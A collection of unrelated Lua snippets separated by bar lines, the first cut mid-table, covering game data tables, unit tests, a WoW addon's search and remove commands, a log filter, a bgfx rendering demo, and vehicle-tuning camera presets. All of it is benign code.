[0x1e] = "@Ebon Keep Interiors/Slow Burn/",
[0x1f] = "@Volcano Core/Speed/",
[0x20] = "@Eastern Beach/Desert of Doom/Sting",
[0x21] = "@Chessboard/Below the Chessboard/Stop",
[0x22] = "@Ebon Keep Interiors/Super Heal/",
}
ALCHEMY_LOCATIONS_OVERWORLD = {
[0x00] = "@Act 1/Quick Sand Fields/Acid Rain",
[0x01] = "@Act 2/Nobilia/Atlas",
[0x02] = "@Act 2/Nobilia/Barrier",
[0x03] = "@Act 4/Omnitopia/Call Up",
[0x04] = "@Act 3/Ivor Tower/Corrosion",
[0x05] = "@Act 2/Crustacia/Crush",
[0x06] = "@Act 2/Nobilia/Cure",
[0x07] = "@Act 1/Fire Eyes' Village/Defend",
[0x08] = "@Act 2/Crustacia/Double Drain",
[0x09] = "@Act 2/Crustacia/Drain",
[0x0a] = "@Act 4/Omnitopia/Energize",
[0x0b] = "@Act 2/Crustacia/Escape",
[0x0c] = "@Act 3/Ebon Keep/Explosion",
[0x0d] = "@Act 2/Halls of Collosia/Fireball",
[0x0e] = "@Act 3/Ivor Tower/Fire Power",
[0x0f] = "@Act 1/Fire Eyes' Village/Flash",
[0x10] = "@Act 3/Chessboard/Force Field",
[0x11] = "@Act 1/Bugmuck/Hard Ball",
[0x12] = "@Act 1/Northern Jungle/Heal",
[0x13] = "lance_npc",
--no laser
[0x15] = "@Act 1/Volcano Path/Levitate",
[0x16] = "@Act 3/Dark Forest/Lightning Storm",
[0x17] = "@Act 1/Southern Jungle/Miracle Cure",
[0x18] = "@Act 3/Ebon Keep/Nitro",
[0x19] = "@Act 3/Dark Forest/One Up",
[0x1a] = "@Act 4/Omnitopia/Reflect",
[0x1b] = "@Act 3/Ebon Keep/Regrowth",
[0x1c] = "@Act 2/Crustacia/Revealer",
[0x1d] = "@Act 2/Crustacia/Revive",
[0x1e] = "@Act 3/Ebon Keep/Slow Burn",
[0x1f] = "@Act 1/Volcano Core/Speed",
[0x20] = "@Act 2/Desert of Doom/Sting",
[0x21] = "@Act 3/Chessboard/Stop",
[0x22] = "@Act 3/Ebon Keep/Super Heal",
}
|
s = Procedural.BezierCurve2():addPoint(Procedural.Vector2(0,0))
:addPoint(Procedural.Vector2(1,0))
:addPoint(Procedural.Vector2(1,1))
:addPoint(Procedural.Vector2(2,1))
:addPoint(Procedural.Vector2(2,0))
:addPoint(Procedural.Vector2(3,0))
:addPoint(Procedural.Vector2(3,1))
:addPoint(Procedural.Vector2(4,1))
:addPoint(Procedural.Vector2(4,0))
:realizeShape()
:translate(-2,0)
tests:addShape(s)
|
TestContains = {
setUp = function (self)
self.a = array("a", "b", "c")
end;
["test: Should return false when the array is empty"] = function ()
luaunit.assertFalse(array():contains("a"))
end;
["test: Should return true when the array contains element"] = function (self)
luaunit.assertTrue(self.a:contains("c"))
end;
["test: Should return false when the array does not contain element"] = function (self)
luaunit.assertFalse(self.a:contains("f"))
end;
["test: Should return true for nested array when the array contains an array"] = function ()
luaunit.assertTrue(array("a", "b", "c", array("d", "e", "f")):contains(array("d", "e", "f")))
end;
["test: Should return true for nil when the array contains nil"] = function ()
luaunit.assertTrue(array("a", nil, "c"):contains(nil))
end;
["test: Should return true for nil when the array is full of nils"] = function ()
luaunit.assertTrue(array(nil):contains(nil))
end;
["test: Should return false for nil when the array does not contain nil"] = function (self)
luaunit.assertFalse(self.a:contains(nil))
end;
["test: Should return true for nil when nil is at the end of the array"] = function ()
luaunit.assertTrue(array("a", "b", nil):contains(nil))
end;
["test: Should return true for nil when nil is at the start of the array"] = function ()
luaunit.assertTrue(array(nil, "b", "c"):contains(nil))
end;
["test: Should return false fpr nil when the array is empty"] = function ()
luaunit.assertFalse(array():contains(nil))
end;
}
|
-- Namespace Variables
local addon, addonTbl = ...;
-- Module-Local Variables
local L = addonTbl.L;
addonTbl.Remove = function(arg)
if tonumber(arg) then -- The passed argument is a number or item ID.
arg = tonumber(arg);
if LastSeenClassicItemsDB[arg] then
if LastSeenClassicItemsDB[arg].itemLink ~= nil then
print(L["ADDON_NAME"] .. LastSeenClassicItemsDB[arg].itemLink .. L["INFO_MSG_ITEM_REMOVED"]);
else
print(L["ADDON_NAME"] .. arg .. L["INFO_MSG_ITEM_REMOVED"]);
end
LastSeenClassicItemsDB[arg] = nil;
end
elseif not tonumber(arg) then -- The passed argument isn't a number, and is likely an item's link.
arg = (GetItemInfoInstant(arg)); -- Converts the supposed item link into an item ID.
if tonumber(arg) then
arg = tonumber(arg);
if LastSeenClassicItemsDB[arg] then
if LastSeenClassicItemsDB[arg].itemLink ~= nil then
print(string.format(L["INFO_MSG_ITEM_REMOVED"], LastSeenClassicItemsDB[arg].itemLink));
else
print(string.format(L["INFO_MSG_ITEM_REMOVED"], arg));
end
LastSeenClassicItemsDB[arg] = nil;
end
end
else
print(L["ADDON_NAME"] .. L["ERROR_MSG_BAD_REQUEST"]);
end
if (LastSeenClassicLootTemplate[arg]) then LastSeenClassicLootTemplate[arg] = nil end; -- Remove all associated entries that the player looted the item from.
end
-- Synopsis: Allows the player to remove undesired items from the items table using its ID or link.
addonTbl.Search = function(query)
local itemsFound = 0;
local questsFound = 0;
local queryType = string.sub(query, 1, 1);
--local query = string.match(query, queryType .. "%s" .. "(.*)");
if tonumber(query) ~= nil then -- It's an ID
query = tonumber(query);
if LastSeenClassicItemsDB[query] then
print(query .. ": " .. LastSeenClassicItemsDB[query].itemLink .. " (" .. addonTbl.GetCount(LastSeenClassicLootTemplate, query) .. ") | " .. LastSeenClassicItemsDB[query].lootDate .. " | " .. LastSeenClassicItemsDB[query].source .. " | " ..
LastSeenClassicItemsDB[query].location);
itemsFound = itemsFound + 1;
end
else
for k, v in pairs(LastSeenClassicItemsDB) do
if v.source ~= L["INFO_MSG_MISCELLANEOUS"] or v.source or v.location or v.itemLink then
if string.find(string.lower(v.itemLink), string.lower(query)) then
local itemID = (GetItemInfoInstant(k));
print(string.format(k .. ": %s (%s) | %s | %s", v.itemLink, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location));
itemsFound = itemsFound + 1;
end
if string.find(string.lower(v.source), string.lower(query)) then
local itemID = (GetItemInfoInstant(k));
print(string.format(k .. ": %s (%s) | %s | %s", v.itemLink, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location));
itemsFound = itemsFound + 1;
end
if string.find(string.lower(v.location), string.lower(query)) then
local itemID = (GetItemInfoInstant(k));
if v.itemLink == "" then
print(string.format(k .. ": %s (%s) | %s | %s", v.itemName, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location));
else
if v.lootDate == nil then
-- Continue
else
print(string.format(k .. ": %s (%s) | %s | %s", v.itemLink, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location));
end
end
itemsFound = itemsFound + 1;
end
end
end
if itemsFound == 0 then
print(L["ADDON_NAME"] .. L["ERROR_MSG_NO_ITEMS_FOUND"] .. " (" .. query .. ")");
else
print(L["ADDON_NAME"] .. itemsFound .. L["INFO_MSG_RESULTS"]);
end
end
end
--[[
Synopsis: Allows the player to search the items table by an item's ID or its partial/full name, a creature's name, or a zone's name.
Use Case(s):
- Item: The most common search is by an item's ID or partial/full name to provide another player with proof an item still drops.
- Creature: A search to see what items a particular creature has dropped. This is made possible by keeping track of the items a creature has dropped (call a "loot table").
- Zone: An entire zone search, doesn't matter which creature in the zone dropped the item. Provides the player with every item that dropped in the provided zone. Partial/full names supported.
]]
addonTbl.Help = function()
print(string.format(L["ADDON_NAME"] .. "%s, %s, %s, %s, %s, %s, %s, %s, %s, %s", L["CMD_DISCORD"], L["CMD_FORMAT"], L["CMD_HISTORY"], L["CMD_IMPORT"], L["CMD_LOCALE"], L["CMD_LOOT"], L["CMD_MAN"], L["CMD_REMOVE"], L["CMD_SEARCH"], L["CMD_VIEW"]));
end
-- Synopsis: Prints out the available commands to the chat frame.
addonTbl.Manual = function(args)
if args == L["CMD_DISCORD"] then
print(L["ADDON_NAME"] .. L["CMD_DISCORD"]);
print(L["INFO_MSG_CMD_DISCORD"]);
elseif args == L["CMD_FORMAT"] then
print(L["ADDON_NAME"] .. L["CMD_FORMAT"]);
print(L["INFO_MSG_CMD_FORMAT"]);
elseif args == L["CMD_HELP"] then
print(L["ADDON_NAME"] .. L["CMD_HELP"]);
print(L["INFO_MSG_CMD_HELP"]);
elseif args == L["CMD_HISTORY"] then
print(L["ADDON_NAME"] .. L["CMD_HISTORY"]);
print(L["INFO_MSG_CMD_HISTORY"]);
elseif args == L["CMD_IMPORT"] then
print(L["ADDON_NAME"] .. L["CMD_IMPORT"]);
print(L["INFO_MSG_CMD_IMPORT"]);
elseif args == L["CMD_LOCALE"] then
print(L["ADDON_NAME"] .. L["CMD_LOCALE"]);
print(L["INFO_MSG_CMD_LOCALE"]);
elseif args == L["CMD_LOOT"] then
print(L["ADDON_NAME"] .. L["CMD_LOOT"]);
print(L["INFO_MSG_CMD_LOOT"]);
elseif args == L["CMD_MAN"] then
print(L["ADDON_NAME"] .. L["CMD_MAN"]);
print(L["INFO_MSG_CMD_MAN"]);
elseif args == L["CMD_REMOVE"] then
print(L["ADDON_NAME"] .. L["CMD_REMOVE"]);
print(L["INFO_MSG_CMD_REMOVE"]);
elseif args == L["CMD_SEARCH"] then
print(L["ADDON_NAME"] .. L["CMD_SEARCH"]);
print(L["INFO_MSG_CMD_SEARCH"]);
elseif args == L["CMD_VIEW"] then
print(L["ADDON_NAME"] .. L["CMD_VIEW"]);
print(L["INFO_MSG_CMD_VIEW"]);
end
end
-- Synopsis: The player can toss commands to this function to learn more about them.
|
register_outcome{
text = "Random Spell",
subtext = "A small favour",
good = true,
comment = "todo",
rarity = 15,
cooldown = seconds(30),
apply = function()
local x, y = get_player_pos()
SetRandomSeed( GameGetFrameNum(), x + y )
local chosen_action = GetRandomAction( x, y, Random( 0, 6 ), Random( 1, 9999999 ) )
local action = CreateItemActionEntity( chosen_action, x, y )
EntitySetComponentsWithTagEnabled( action, "enabled_in_world", true )
EntitySetComponentsWithTagEnabled( action, "item_unidentified", false )
end,
}
|
function copy(obj)
if type(obj) ~= 'table' then return obj end
local res = {}
for k, v in pairs(obj) do res[copy(k)] = copy(v) end
return res
end
function multiplex_disk_stats(tag, timestamp, record)
new_record = {}
for k, v in pairs(record["disk"]) do
new_record[k] = copy(record)
new_record[k]["host.disk.mount"] = v["mount"]
new_record[k]["host.disk.total"] = tonumber(v["total"])
new_record[k]["host.disk.free"] = tonumber(v["available"])
new_record[k]["host.disk.used"] = tonumber(v["total"]) - tonumber(v["available"])
new_record[k]["host.disk.used_percentage"] = new_record[k]["host.disk.used"] / tonumber(v["total"])
new_record[k]["disk"] = nil
end
return 2, timestamp, new_record
end
|
package.cpath = "bin/?.dll"
local iup = require "iuplua"
local bgfx = require "bgfx"
local util = require "util"
local math3d = require "math3d"
local kDimWidth = 11
local kDimHeight = 11
local s_cubeVertices = {
-1.0, 1.0, 1.0, 0xff000000 ,
1.0, 1.0, 1.0, 0xff0000ff ,
-1.0, -1.0, 1.0, 0xff00ff00 ,
1.0, -1.0, 1.0, 0xff00ffff ,
-1.0, 1.0, -1.0, 0xffff0000 ,
1.0, 1.0, -1.0, 0xffff00ff ,
-1.0, -1.0, -1.0, 0xffffff00 ,
1.0, -1.0, -1.0, 0xffffffff ,
}
local ctx = {
canvas = iup.canvas {},
}
local dlg = iup.dialog {
ctx.canvas,
title = "35-dynamic",
size = "HALFxHALF",
}
local tmp = {}
local time = 0
local function mainloop()
math3d.reset()
bgfx.touch(0)
time = time + 0.01
do
local angle = math.random()
local mtx = math3d.matrix { r = { 0,0, angle } }
for i = 1, 32, 4 do
local vec = math3d.vector(s_cubeVertices[i], s_cubeVertices[i+1], s_cubeVertices[i+2])
vec = math3d.totable(math3d.transform( mtx, vec, 1))
tmp[i], tmp[i+1], tmp[i+2] = vec[1],vec[2],vec[3]
local r = math.random(0,0xff)
local g = math.random(0,0xff)
local b = math.random(0,0xff)
local a = math.random(0,0xff)
tmp[i+3] = r << 24 | g << 16 | b << 8 | a
end
local idx = math.random(1, kDimWidth*kDimHeight)
bgfx.update(ctx.m_vbh[idx], 0, bgfx.memory_buffer("fffd", tmp))
end
-- Submit 11x11 cubes.
for yy = 0, kDimHeight do
for xx = 0, kDimWidth do
local mtx = math3d.matrix { r = {time + xx*0.21, time + yy * 0.37, 0}, t = {-15.0 + xx * 3, -15.0 + yy * 3, 0} }
-- Set model matrix for rendering.
bgfx.set_transform(mtx)
-- Set vertex and index buffer.
bgfx.set_vertex_buffer(ctx.m_vbh[yy*kDimWidth+xx+1])
bgfx.set_index_buffer(ctx.m_ibh)
-- Set render states.
bgfx.set_state(ctx.state)
-- Submit primitive for rendering to view 0.
bgfx.submit(0, ctx.prog)
end
end
bgfx.frame()
end
function ctx.init()
bgfx.set_view_clear(0, "CD", 0x303030ff, 1, 0)
ctx.vdecl = bgfx.vertex_layout {
{ "POSITION", 3, "FLOAT" },
{ "COLOR0", 4, "UINT8", true },
}
-- Create static vertex buffer.
ctx.m_vbh = {}
for yy = 0 , kDimHeight do
for xx = 0, kDimWidth do
ctx.m_vbh[yy*kDimWidth+xx+1] = bgfx.create_dynamic_vertex_buffer(
bgfx.memory_buffer("fffd", s_cubeVertices), ctx.vdecl)
end
end
-- Create static index buffer.
ctx.m_ibh = bgfx.create_dynamic_index_buffer {
0, 1, 2,
3,
7,
1,
5,
0,
4,
2,
6,
7,
4,
5,
}
ctx.prog = util.programLoad("vs_cubes", "fs_cubes")
ctx.state = bgfx.make_state({ PT = "TRISTRIP" } , nil) -- base on BGFX_STATE_DEFAULT
end
function ctx.resize(w,h)
ctx.width = w
ctx.height = h
bgfx.set_view_rect(0, 0, 0, ctx.width, ctx.height)
bgfx.reset(ctx.width,ctx.height, "vmx")
local viewmat = math3d.lookat ( { 0,0,-35}, { 0,0,0})
local projmat = math3d.projmat { fov = 60, aspect = w/h, n = 0.1, f = 100 }
bgfx.set_view_transform(0, viewmat, projmat)
end
util.init(ctx)
dlg:showxy(iup.CENTER,iup.CENTER)
dlg.usersize = nil
util.run(mainloop)
|
-- Dynamis procs mixin
require("scripts/globals/mixins")
require("scripts/globals/dynamis")
require("scripts/globals/status")
g_mixins = g_mixins or {}
g_mixins.dynamis_beastmen = function(mob)
local procjobs = {
[tpz.job.WAR] = "ws",
[tpz.job.MNK] = "ja",
[tpz.job.WHM] = "ma",
[tpz.job.BLM] = "ma",
[tpz.job.RDM] = "ma",
[tpz.job.THF] = "ja",
[tpz.job.PLD] = "ws",
[tpz.job.DRK] = "ws",
[tpz.job.BST] = "ja",
[tpz.job.BRD] = "ma",
[tpz.job.RNG] = "ja",
[tpz.job.SAM] = "ws",
[tpz.job.NIN] = "ja",
[tpz.job.DRG] = "ws",
[tpz.job.SMN] = "ma"
}
local familyCurrency =
{
[334] = 1452, -- OrcNM (bronzepiece)
[337] = 1455, -- QuadavNM (1 byne bill)
[360] = 1449, -- YagudoNM (whiteshell)
}
-- "With Treasure Hunter on every procced monster, you can expect approximately 1.7 coins per kill on average."
-- "Without Treasure Hunter, you can expect about 1.25 coins per kill on average."
-- "Without a proc, the coin drop rate is very low (~10%)"
local thCurrency =
{
[0] = {single = 100, hundo = 5},
[1] = {single = 115, hundo = 10},
[2] = {single = 145, hundo = 20},
[3] = {single = 190, hundo = 35},
[4] = {single = 250, hundo = 50},
}
mob:addListener("MAGIC_TAKE", "DYNAMIS_MAGIC_PROC_CHECK", function(target, caster, spell)
if procjobs[target:getMainJob()] == "ma" and math.random(0, 99) < 8 and target:getLocalVar("dynamis_proc") == 0 then
dynamis.procMonster(target, caster)
end
end)
mob:addListener("WEAPONSKILL_TAKE", "DYNAMIS_WS_PROC_CHECK", function(target, user, wsid)
if procjobs[target:getMainJob()] == "ws" and math.random(0, 99) < 25 and target:getLocalVar("dynamis_proc") == 0 then
dynamis.procMonster(target, user)
end
end)
mob:addListener("ABILITY_TAKE", "DYNAMIS_ABILITY_PROC_CHECK", function(mob, user, ability, action)
if procjobs[mob:getMainJob()] == "ja" and math.random(0, 99) < 20 and mob:getLocalVar("dynamis_proc") == 0 then
dynamis.procMonster(mob, user)
end
end)
mob:addListener("DEATH", "DYNAMIS_ITEM_DISTRIBUTION", function(mob, killer)
if killer then
local th = thCurrency[math.min(mob:getTHlevel(), 4)]
local family = mob:getFamily()
local currency = familyCurrency[family]
if currency == nil then
currency = 1449 + math.random(0, 2) * 3
end
local singleChance = th.single
local hundoChance = th.hundo
if mob:getMainLvl() > 90 then
singleChance = math.floor(singleChance * 1.5)
end
if mob:getLocalVar("dynamis_proc") >= 4 then killer:addTreasure(currency + 1, mob) end -- white (special) adds 100% hundo slot
if mob:isNM() then killer:addTreasure(currency + 1, mob, hundoChance) end -- base hundo slot
if mob:getLocalVar("dynamis_proc") >= 3 then killer:addTreasure(currency, mob) end -- red (high) adds 100% single slot
if mob:getLocalVar("dynamis_proc") >= 2 then killer:addTreasure(currency, mob, singleChance) end -- yellow (medium) adds single slot
if mob:getLocalVar("dynamis_proc") >= 1 then killer:addTreasure(currency, mob, singleChance) end -- blue (low) adds single slot
killer:addTreasure(currency, mob, singleChance) -- base single slot
end
end)
end
return g_mixins.dynamis_beastmen
|
local test = require 'regress'
local Reader = require 'dataset.Reader'
local function testBatch(batchSize)
local urls = { '4', '1', '2', '9', '5', '7', '6' }
local i = 0
local function next()
i = i + 1
return urls[i]
end
local function get(url)
local t1 = os.clock() + (tonumber(url) / 10)
while t1 > os.clock() do end
return url
end
local reader = Reader(next, { get = get })
local seen = { }
local numBatches = math.ceil(#urls / batchSize)
for k = 1,numBatches do
local batch = reader.get(batchSize)
for _,res in ipairs(batch) do
table.insert(seen, res.url)
end
end
test.mustBeTrue(i == 7 or i == 8, 'all urls must be used: '..i..' for batchSize '..batchSize)
test.mustBeTrue(#seen == 7, 'seen must have 7 items for batchSize '..batchSize)
for j = 1,i-1 do
test.mustBeTrue(seen[j] == urls[j], 'must see "'..urls[j]..'" at index '..j..' for batchSize '..batchSize)
end
end
-- Tests:
test {
testBatchedOrdering = function()
testBatch(1)
testBatch(2)
testBatch(3)
testBatch(64)
end,
testSkippingFailures = function()
local i = 0
local function next()
i = i + 1
return tostring(i)
end
local function get(url)
if tonumber(url) % 3 > 0 then
return url
end
end
local function processor(res)
if tonumber(res) % 13 == 0 then
error('skip me')
end
return true
end
local reader = Reader(next, { get = get, processor = processor })
for i = 1,100 do
local batch = reader.get(4)
for _,v in ipairs(batch) do
local j = tonumber(v.url)
test.mustBeTrue(j % 3 > 0, 'should never see % 3 numbers')
test.mustBeTrue(j % 13 > 0, 'should never see % 13 numbers')
end
end
end,
testWithTensors = function()
local x = { 1,2,0,4, 5,6,7,8, 0,10,-1,12, 0,-1,0,16, 17,0,19,20, -1,0,0,-1, 25,26,27,28 }
local y = { 1,2,4, 5,6,7,8, 10,12, 16, 17,19,20, 25,26,27,28 }
local i = 0
local function next()
i = i + 1
return tostring(x[i])
end
local function get(url)
if url ~= '0' then
return url
end
end
local function processor(res, processorOpt, input)
if res ~= '-1' then
input:fill(tonumber(res))
return true
end
end
local reader = Reader(next, { get = get, processor = processor })
local input = torch.FloatTensor(4, 1)
local z = 1
for i = 1,(#x/4) do
input:fill(0)
local batch = reader.get(4, input)
for k,v in ipairs(batch) do
local j = tonumber(v.url)
test.mustBeTrue(j == y[z], 'should see '..y[z]..' not '..j..' at '..z)
z = z + 1
test.mustBeTrue(j ~= 0, 'should never see 0')
test.mustBeTrue(j ~= -1, 'should never see -1')
local f = input[k][1]
test.mustBeTrue(f == j, 'should have tensor value '..f..' equal to '..j)
end
end
end,
testMultipleGet = function()
local ni1 = 0
local function next1()
ni1 = ni1 + 1
return ni1
end
local ni2 = 1000
local function next2()
ni2 = ni2 + 1
return ni2
end
local function processor(res1, res2, processorOpt, input)
input[1] = res1
input[2] = res2
return true
end
local reader = Reader({ next1, next2 }, { processor = processor, verbose = true })
local input = torch.FloatTensor(1, 2)
for i = 1,100 do
local batch = reader.get(1, input)
test.mustBeTrue(input[1][1] == i)
test.mustBeTrue(input[1][2] == 1000 + i)
end
end,
testExtra = function()
local ni1 = 0
local function next1()
ni1 = ni1 + 1
return ni1
end
local function processor(res, processorOpt, input)
input[1] = tonumber(res)
local extra = torch.FloatTensor(3, 3)
extra:fill(tonumber(res))
return true, extra
end
local reader = Reader({ next1, next2 }, { processor = processor, verbose = true })
local input = torch.FloatTensor(1, 1)
for i = 1,100 do
local batch = reader.get(1, input)
test.mustBeTrue(input[1][1] == i)
test.mustBeTrue(batch[1].extra:sum() == 9*i)
end
end,
}
|
return {
map = 2,
Hacked_cannon = {mapX = 6, mapY = 4},
ammo = { 'balls', 'bomb', 'bomb', 'normal', 'normal'},
bugs = {
{x = 1596, y = 230},
{x = math.random(1596), y = 230},
{x = 2302, y = 166},
{x = math.random(2302), y = 166},
{x = 639, y = 358},
{x = math.random(639), y = 358},
{x = 486, y = 294},
{x = math.random(486), y = 294},
{x = 1166, y = 358},
{x = math.random(1166), y = 358},
{x = 1333, y = 358},
{x = math.random(1333), y = 358},
{x = 1481, y = 230},
{x = math.random(1481), y = 230},
{x = 1713, y = 230},
{x = 1600, y = 358},
{x = 1734, y = 358},
{x = 1865, y = 358},
{x = 1976, y = 358},
{x = 2142, y = 358},
{x = 2044, y = 358},
{x = 2185, y = 166},
{x = 2412, y = 166},
{x = 2279, y = 358},
{x = 2463, y = 358},
{x = 2391, y = 358},
{x = 2852, y = 38},
{x = 2937, y = 38},
{x = 3009, y = 38}
},
blocks = {
{material = 'stone', name = 'rectangle5', x = 1758, y = 200, rotation = 0},
{material = 'stone', name = 'rectangle5', x = math.random(1758), y = 200, rotation = 0},
{material = 'stone', name = 'rectangle5', x = 1437, y = 200, rotation = 0},
{material = 'stone', name = 'rectangle5', x = math.random(1437), y = 200, rotation = 0},
{material = 'stone', name = 'rectangle5', x = 1543, y = 200, rotation = 0},
{material = 'stone', name = 'rectangle5', x = math.random(1543), y = 200, rotation = 0},
{material = 'stone', name = 'rectangle4', x = 1487, y = 127, rotation = 0},
{material = 'stone', name = 'rectangle4', x = math.random(1487), y = 127, rotation = 0},
{material = 'stone', name = 'rectangle5', x = 1654, y = 200, rotation = 0},
{material = 'stone', name = 'rectangle5', x = math.random(1654), y = 200, rotation = 0},
{material = 'stone', name = 'rectangle4', x = 1598, y = 127, rotation = 0},
{material = 'stone', name = 'rectangle4', x = 1709, y = 127, rotation = 0},
},
}
|
local networkVars =
{
numOwned = "private integer"
}
Shared.LinkClassToMap("LayMines", LayMines.kMapName, networkVars)
local oldOnUpdateRender = LayMines.OnUpdateRender
function LayMines:OnUpdateRender()
oldOnUpdateRender(self)
local parent = self:GetParent()
local settings = self:GetUIDisplaySettings()
if parent and parent:GetIsLocalPlayer() and settings then
if self.ammoDisplayUI then
self.ammoDisplayUI:SetGlobal("weaponClip", self.numOwned)
self.ammoDisplayUI:SetGlobal("weaponMax", kMaxNumMines)
end
end
end
if Server then
function SortMinesByAge(entities)
local function compareAge(a, b)
local age1 = a.timeLastHealed
local age2 = b.timeLastHealed
return age1 > age2
end
table.sort(entities, compareAge)
end
local function UpdateOwnedMines(self, player)
local total = 0
local mines = GetEntitiesForTeam("Mine", player:GetTeamNumber())
local myMines = {}
for _, mine in ipairs(mines) do
if mine:GetIsAlive() and mine:GetOwner() == player then
total = total + 1
table.insert(myMines, mine)
end
end
if total > kMaxNumMines then
SortMinesByAge(myMines)
while total > kMaxNumMines do
local mine = table.remove(myMines)
mine:Kill(player, player)
total = total - 1
end
end
self.numOwned = total
end
local oldOnDraw = LayMines.OnDraw
function LayMines:OnDraw(player, previousWeaponMapName)
oldOnDraw(self, player, previousWeaponMapName)
UpdateOwnedMines(self, player)
end
local oldPerformPrimaryAttack = LayMines.PerformPrimaryAttack
function LayMines:PerformPrimaryAttack(player)
local created_mine = oldPerformPrimaryAttack(self, player)
if created_mine then
UpdateOwnedMines(self, player)
end
return created_mine
end
end
|
cameraPresets = {}
cameraPresets.vehicleTuning = {
targetPosition = Vector3(0, 0, 0.3),
rotationHorizontal = 30,
rotationVertical = 0,
distance = 7,
FOV = 50,
roll = 0
}
cameraPresets.startingCamera = {
targetPosition = Vector3(1.4, 1, 0),
rotationHorizontal = 30,
rotationVertical = 5,
distance = 7,
FOV = 50,
roll = 0
}
cameraPresets.freeLookCamera = {
targetPosition = Vector3(0, 0.1, 0),
rotationHorizontal = 30,
rotationVertical = 5,
distance = 6,
FOV = 55,
roll = 0
}
----------------------------------------------------------
-- Дым
cameraPresets.smokeColor = {
targetPosition = Vector3(0, 1, 0),
rotationHorizontal = -20,
rotationVertical = 10,
distance = 6,
FOV = 50,
roll = 0
}
cameraPresets.selectingSmokeColor = {
targetPosition = Vector3(1, 1, 0.4),
rotationHorizontal = -20,
rotationVertical = 5,
distance = 6,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Передний бампер
cameraPresets.frontBump = {
targetPosition = Vector3(0, 1, 0),
rotationHorizontal = 10,
rotationVertical = 20,
distance = 6,
FOV = 50,
roll = 0
}
-- Передний бампер при покупке
cameraPresets.previewFrontBump = {
targetPosition = Vector3(1, 1, 0),
rotationHorizontal = 10,
rotationVertical = 10,
distance = 6,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Задний бампер
cameraPresets.rearBump = {
targetPosition = Vector3(0, -1, 0),
rotationHorizontal = 150,
rotationVertical = 5,
distance = 6,
FOV = 45,
roll = 0
}
-- Задний бампер при покупке
cameraPresets.previewRearBump = {
targetPosition = Vector3(-0.5, -1, 0.3),
rotationHorizontal = 160,
rotationVertical = 0,
distance = 5.5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Спойлер
cameraPresets.spoiler = {
targetPosition = Vector3(0, -1, 0),
rotationHorizontal = 220,
rotationVertical = 20,
distance = 5,
FOV = 50,
roll = 0
}
-- Спойлер при покупке
cameraPresets.previewSpoilers = {
targetPosition = Vector3(0.6, -1, 0.4),
rotationHorizontal = 200,
rotationVertical = 10,
distance = 5.5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Юбки
cameraPresets.skirts = {
targetPosition = Vector3(0, 0, -0.2),
rotationHorizontal = -50,
rotationVertical = 0,
distance = 5,
FOV = 50,
roll = 0
}
-- Юбки при покупке
cameraPresets.previewSideSkirts = {
targetPosition = Vector3(0.9, -0.7, -0.2),
rotationHorizontal = -30,
rotationVertical = 0,
distance = 5.5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Колесо
cameraPresets.wheelLF = {
targetPosition = "wheel_lf_dummy",
rotationHorizontal = 45,
rotationVertical = 10,
distance = 4,
FOV = 40,
roll = 0
}
-- Колесо
cameraPresets.wheelLB = {
targetPosition = "wheel_lb_dummy",
rotationHorizontal = 45,
rotationVertical = 10,
distance = 4,
FOV = 40,
roll = 0
}
-- Колёса при покупке
cameraPresets.previewWheelsF = {
targetPosition = Vector3(-1, 0, -0.05),
rotationHorizontal = 35,
rotationVertical = 5,
distance = 5,
FOV = 50,
roll = 0
}
-- Задние колёса при покупке
cameraPresets.previewWheelsR = {
targetPosition = Vector3(-1, -2, -0.05),
rotationHorizontal = 35,
rotationVertical = 5,
distance = 5,
FOV = 50,
roll = 0
}
-- Размер колёс
cameraPresets.wheelsSize = {
targetPosition = Vector3(0, 0, -0.3),
rotationHorizontal = 60,
rotationVertical = 5,
distance = 5,
FOV = 55,
roll = 0
}
cameraPresets.previewWheelsSize = {
targetPosition = Vector3(-0.5, -0.7, -0.3),
rotationHorizontal = 45,
rotationVertical = 5,
distance = 6.2,
FOV = 55,
roll = 0
}
----------------------------------------------------------
-- Задние фендеры
cameraPresets.rearFends = {
targetPosition = Vector3(0, 0, -0.2),
rotationHorizontal = -130,
rotationVertical = 0,
distance = 4.5,
FOV = 50,
roll = 0
}
-- Задние фендеры при покупке
cameraPresets.previewRearFends = {
targetPosition = Vector3(0.8, 0.5, -0.1),
rotationHorizontal = -140,
rotationVertical = 0,
distance = 5.5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Передние фендеры
cameraPresets.frontFends = {
targetPosition = Vector3(0, 0.5, -0.2),
rotationHorizontal = -40,
rotationVertical = 0,
distance = 4.5,
FOV = 50,
roll = 0
}
-- Передние фендеры при покупке
cameraPresets.previewFrontFends = {
targetPosition = Vector3(0.8, 0.5, -0.2),
rotationHorizontal = -30,
rotationVertical = 0,
distance = 5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Капот
cameraPresets.bonnet = {
targetPosition = Vector3(0, 1, 0),
rotationHorizontal = -10,
rotationVertical = 20,
distance = 6,
FOV = 50,
roll = 0
}
-- Капот при покупке
cameraPresets.previewBonnets = {
targetPosition = Vector3(1, 1, 0),
rotationHorizontal = -10,
rotationVertical = 10,
distance = 6,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Выхлоп
cameraPresets.exhaust = {
targetPosition = Vector3(0, -1, -0.1),
rotationHorizontal = 170,
rotationVertical = 4,
distance = 5,
FOV = 45,
roll = 0
}
-- Выхлоп при покупке
cameraPresets.previewExhaust = {
targetPosition = Vector3(-0.8, -1, 0),
rotationHorizontal = 180,
rotationVertical = 5.5,
distance = 6,
FOV = 45,
roll = 0
}
----------------------------------------------------------
-- Задние фары
cameraPresets.rearLights = {
targetPosition = Vector3(0, -1, 0),
rotationHorizontal = 180,
rotationVertical = 5,
distance = 5,
FOV = 45,
roll = 0
}
-- Задние фары при покупке
cameraPresets.previewRearLights = {
targetPosition = Vector3(-0.8, -1, 0),
rotationHorizontal = 180,
rotationVertical = 5.5,
distance = 6,
FOV = 45,
roll = 0
}
----------------------------------------------------------
